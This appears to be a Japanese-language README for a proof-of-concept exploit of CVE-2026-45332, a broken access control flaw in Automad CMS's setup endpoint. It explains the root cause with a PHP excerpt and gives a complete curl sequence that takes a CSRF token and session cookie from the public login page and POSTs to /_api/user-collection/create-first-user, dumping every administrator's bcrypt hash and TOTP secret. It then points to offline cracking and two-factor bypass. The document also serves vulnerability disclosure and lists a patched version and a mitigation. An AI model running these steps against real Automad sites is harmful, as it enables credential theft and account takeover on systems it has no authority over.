
CVE-2026-45332の概念実証エクスプロイト。Automad CMSにおけるアクセス制御の欠陥を悪用し、未認証で管理者のbcryptハッシュとTOTPシークレットをダンプするもの。
CVE-2026-45332 の概念実証です。Automad CMS のアクセス制御の不備(Broken Access Control)に関する脆弱性で、初期設定後に無効化されることのないセットアップエンドポイントを通じて、認証されていない任意の攻撃者がすべての管理者アカウントの bcrypt パスワードハッシュと TOTP シークレットをダンプできます。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-45332 |
| GHSA | GHSA-xm76-r88j-vm3g |
| 製品 | Automad CMS (composer automad/automad) |
| 影響を受けるバージョン | >= 2.0.0-alpha.1, <= 2.0.0-beta.27 |
| 修正版 | 2.0.0-beta.28 |
| CVSS 3.1 | 7.5 高(High)(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-200(機密情報の露出)、CWE-306(重要な機能に対する認証の欠如) |
| 研究者 | Lorenzo Camilli |
Automad はファイルベースの PHP CMS です。最初の管理者アカウントを作成するセットアップエンドポイント /_api/user-collection/create-first-user は、恒久的に公開される API ルートとして登録されています。初期設定が完了した後にこのルートを閉じるガードは存在しません。
稼働中で完全に構成済みのインスタンスでは、このエンドポイントへの認証なしの POST によって、ディスクからユーザーデータベース全体が読み込まれ、シリアライズされた状態で JSON レスポンスボディに返されます。含まれるものは以下のとおりです。
2.0.0-beta.27 に存在)事前のアカウント、認証情報、または特別なネットワーク上の立場は一切必要ありません。
このルートは automad/src/server/Routes.php の $publicAPIRoutes 配列内に配置され、AM_PAGE_DASHBOARD という条件のもとで登録されています。この定数は文字列 '/dashboard' と評価されるため、常に真(truthy)となります。このルートは、セットアップ完了後を含め、すべてのインストールで登録されたままになります。
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
$UserCollection = new UserCollection(); // loads ALL existing users from disk
// ...
$php = $UserCollection->generatePHP(); // serializes every user including hashes
return $Response->setData(array(
'php' => $php, // credential hashes returned in response
'configDir' => dirname(UserCollection::FILE_ACCOUNTS) // absolute path leaked
));
}
User::__serialize() にはプライベートフィールドの passwordHash と totpSecret が含まれるため、これらは呼び出し元に返されるシリアライズ出力に埋め込まれることになります。
完全な技術解説: PoC.md
このエンドポイントには有効な CSRF トークンと Automad のセッション Cookie が必要ですが、どちらも公開ログインページから自由に取得できます。再現手順は以下のとおりです。
# 1. Grab a session cookie and the CSRF token from the public login page
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
| grep -oP '(?<=<meta name="csrf" content=")[^"]+')
# 2. Dump the credential store
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
--data-urlencode "__csrf__=$CSRF" \
--data-urlencode 'username=dummy' \
--data-urlencode 'password1=AnyPassword1!' \
--data-urlencode 'password2=AnyPassword1!' \
--data-urlencode '[email protected]' | jq .
レスポンスには、登録済みのすべての管理者の bcrypt ハッシュと TOTP シークレット、さらに絶対設定パスが含まれます。
{
"code": 200,
"data": {
"php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
"filename": "accounts.php",
"configDir": "/path/to/config"
}
}
その後、bcrypt ハッシュはオフラインで解読できます(Hashcat / John)。2.0.0-beta.27 では、漏えいした TOTP シークレットによって二要素認証を完全に迂回できます。
認証されていないリモートの攻撃者は、以下を行うことができます。
2.0.0-beta.27)。Automad 2.0.0-beta.28 以降に更新してください。このバージョンでは、初期セットアップ完了後にエンドポイントが制限されます。一時的な緩和策として、Web サーバーまたは WAF で /_api/user-collection/create-first-user へのリクエストをブロックしてください。